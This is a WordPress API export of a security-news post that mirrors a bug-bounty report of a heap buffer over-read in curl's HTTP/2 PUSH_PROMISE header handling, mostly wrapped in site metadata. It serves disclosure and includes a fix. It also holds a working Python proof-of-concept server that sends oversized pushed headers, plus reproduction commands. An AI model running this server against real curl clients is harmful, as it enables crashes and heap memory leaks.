{"id":33047,"date":"2025-12-28T15:49:34","date_gmt":"2025-12-28T15:49:34","guid":{"rendered":"http:\/\/localhost\/?p=33047"},"modified":"2025-12-28T15:49:34","modified_gmt":"2025-12-28T15:49:34","slug":"curl-heap-buffer-over-read-in-libhttp2c-onheader-handling-pushpromise-frames","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=33047","title":{"rendered":"curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-28T21:30:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\nI have discovered a Heap Buffer Over-read vulnerability in `lib\/http2.c` within the `on_header` callback function. When processing HTTP\/2 `PUSH_PROMISE` frames, the code incorrectly uses the `%s` format specifier on raw pointers provided by `nghttp2`.\\n\\nAccording to `nghttp2` documentation, the `name` and `value` pointers in the `on_header` callback are **not null-terminated**. By using `%s` without precision specifiers, `curl_maprintf` reads past the bounds of the allocated buffer into adjacent heap memory until it encounters a null byte. This leads to a Denial of Service (crash via OOM or invalid read) or potentially leaks sensitive heap memory.\\n\\n## Vulnerability Details\\n* **File:** `lib\/http2.c`\\n* **Function:** `on_header`\\n* **Vulnerable Logic:**\\n\\nInside the `on_header` function (handling `NGHTTP2_PUSH_PROMISE`), the code acts as follows:\\n\\n&#8220;`c\\n\/* lib\/http2.c around line 1642 in master *\/\\nh = curl_maprintf(\\&#8221;%s:%s\\&#8221;, name, value);\\nSince name and value are not null-terminated C-strings, curl_maprintf continues reading memory indefinitely.\\n\\nContrast with Secure Code: In the same file (handling trailers), the developers correctly used precision specifiers:\\n\/* Correct usage found elsewhere in the file *\/\\nCURL_TRC_CF(data, cf, \\&#8221;[%d] trailer: %.*s: %.*s\\&#8221;,\\n            stream-\\u003eid, (int)namelen, name, (int)valuelen, value);\\n\\nAffected version\\nReproduced on the latest master branch (commit 752d&#8230; \/ curl 8.6.0-dev). Platform: Linux (Reproduced with ASAN build).\\n\\nSteps To Reproduce:\\nTo reproduce this issue, you need a malicious HTTP\/2 server that sends a PUSH_PROMISE frame with a payload that triggers the over-read.\\n\\nNote: While curl CLI disables HTTP\/2 Push by default, libcurl applications enabling it are vulnerable. For reproduction purposes using the CLI, we must ensure Push is enabled.\\n\\n1. Compile curl with AddressSanitizer (ASAN)\\n.\/configure &#8211;enable-debug &#8211;enable-curldebug &#8211;with-nghttp2 &#8211;with-openssl CFLAGS=\\&#8221;-fsanitize=address -g -O0\\&#8221; LDFLAGS=\\&#8221;-fsanitize=address\\&#8221;\\nmake -j4\\n\\n2. Setup Malicious Python Server Save the following script as repro.py. It requires pip install h2. (You also need server.key and server.crt for TLS).\\nimport socket\\nimport ssl\\nfrom h2.connection import H2Connection\\nfrom h2.events import RequestReceived\\nfrom h2.config import H2Configuration\\nfrom h2.settings import SettingCodes\\n\\ndef run_server():\\n    host, port = &#8216;127.0.0.1&#8217;, 8443\\n    ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)\\n    ctx.load_cert_chain(certfile=\\&#8221;server.crt\\&#8221;, keyfile=\\&#8221;server.key\\&#8221;)\\n    ctx.set_alpn_protocols([&#8216;h2&#8217;])\\n\\n    sock = socket.socket()\\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n    sock.bind((host, port))\\n    sock.listen(1)\\n    print(f\\&#8221;Listening on {port}&#8230;\\&#8221;)\\n\\n    while True:\\n        conn, addr = sock.accept()\\n        try:\\n            tls_conn = ctx.wrap_socket(conn, server_side=True)\\n            config = H2Configuration(client_side=False)\\n            h2 = H2Connection(config=config)\\n            h2.initiate_connection()\\n            tls_conn.sendall(h2.data_to_send())\\n\\n            while True:\\n                data = tls_conn.recv(65535)\\n                if not data: break\\n                events = h2.receive_data(data)\\n                for event in events:\\n                    if isinstance(event, RequestReceived):\\n                        # Force enable push in python state to bypass checks\\n                        h2.remote_settings[SettingCodes.ENABLE_PUSH] = 1\\n\\n                        # Payload: Long string without null terminator concept in H2\\n                        headers = [\\n                            (&#8216;:method&#8217;, &#8216;GET&#8217;), (&#8216;:path&#8217;, &#8216;\/pwn&#8217;),\\n                            (&#8216;:scheme&#8217;, &#8216;https&#8217;), (&#8216;:authority&#8217;, &#8216;localhost&#8217;),\\n                            (&#8216;x-trigger&#8217;, &#8216;A&#8217; * 5000)\\n                        ]\\n                        h2.push_stream(event.stream_id, 2, headers)\\n                        tls_conn.sendall(h2.data_to_send())\\n\\n                tls_conn.sendall(h2.data_to_send())\\n        except Exception:\\n            pass\\n        finally:\\n            conn.close()\\n\\nif __name__ == &#8216;__main__&#8217;:\\n    run_server()\\n\\n3. Run the Attack\\n- Terminal 1: python3 repro.py\\n- Terminal 2: .\/src\/curl -v -k &#8211;http2 https:\/\/127.0.0.1:8443 (Ensure the libcurl used accepts Push, or modify lib\/http2.c to force ENABLE_PUSH=1 for testing).\\n\\n4. Observe Results The curl process will either crash with an ASAN report or return error (56) &#8230; returned -902:The user callback function failed.\\n\\nThe error -902 confirms that on_header failed, likely due to memory allocation failure when curl_maprintf attempted to read gigabytes of heap data starting from the non-null-terminated buffer.\\n\\n## Impact\\n\\nImpact\\nThis is a heap buffer over-read.\\n1. Denial of Service: It causes the client to crash or exhaust memory.\\n2. Information Leak: It may leak adjacent heap data into the header string, which could be processed or logged by the application.\\n\\nRecommended Fix\\nUpdate the curl_maprintf call to use precision specifiers with the length provided by nghttp2:\\nh = curl_maprintf(\\&#8221;%.*s:%.*s\\&#8221;, (int)namelen, name, (int)valuelen, value);&#8221;,&#8221;published&#8221;:&#8221;2025-12-27T19:17:59&#8243;,&#8221;modified&#8221;:&#8221;2025-12-28T21:28:50&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3480078&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3480078&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-28T21:30:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\nI have discovered a Heap Buffer Over-read vulnerability in `lib\/http2.c` within the `on_header` callback function. When processing HTTP\/2 `PUSH_PROMISE` frames, the code incorrectly uses&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-33047","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=33047\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-28T21:30:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:nI have discovered a Heap Buffer Over-read vulnerability in `lib\/http2.c` within the `on_header` callback function. When processing HTTP\/2 `PUSH_PROMISE` frames, the code incorrectly uses...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=33047\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-28T15:49:34+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33047#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33047\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: Heap Buffer Over-read in lib\\\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078\",\"datePublished\":\"2025-12-28T15:49:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33047\"},\"wordCount\":864,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=33047#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33047\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33047\",\"name\":\"curl: Heap Buffer Over-read in lib\\\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-28T15:49:34+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33047#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=33047\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33047#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: Heap Buffer Over-read in lib\\\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=33047","og_locale":"en_US","og_type":"article","og_title":"curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-28T21:30:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:nI have discovered a Heap Buffer Over-read vulnerability in `lib\/http2.c` within the `on_header` callback function. When processing HTTP\/2 `PUSH_PROMISE` frames, the code incorrectly uses...","og_url":"https:\/\/zero.redgem.net\/?p=33047","og_site_name":"zero redgem","article_published_time":"2025-12-28T15:49:34+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=33047#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=33047"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078","datePublished":"2025-12-28T15:49:34+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=33047"},"wordCount":864,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=33047#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=33047","url":"https:\/\/zero.redgem.net\/?p=33047","name":"curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-28T15:49:34+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=33047#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=33047"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=33047#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: Heap Buffer Over-read in lib\/http2.c (on_header) handling PUSH_PROMISE frames_H1:3480078"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/33047","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=33047"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/33047\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=33047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=33047"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=33047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}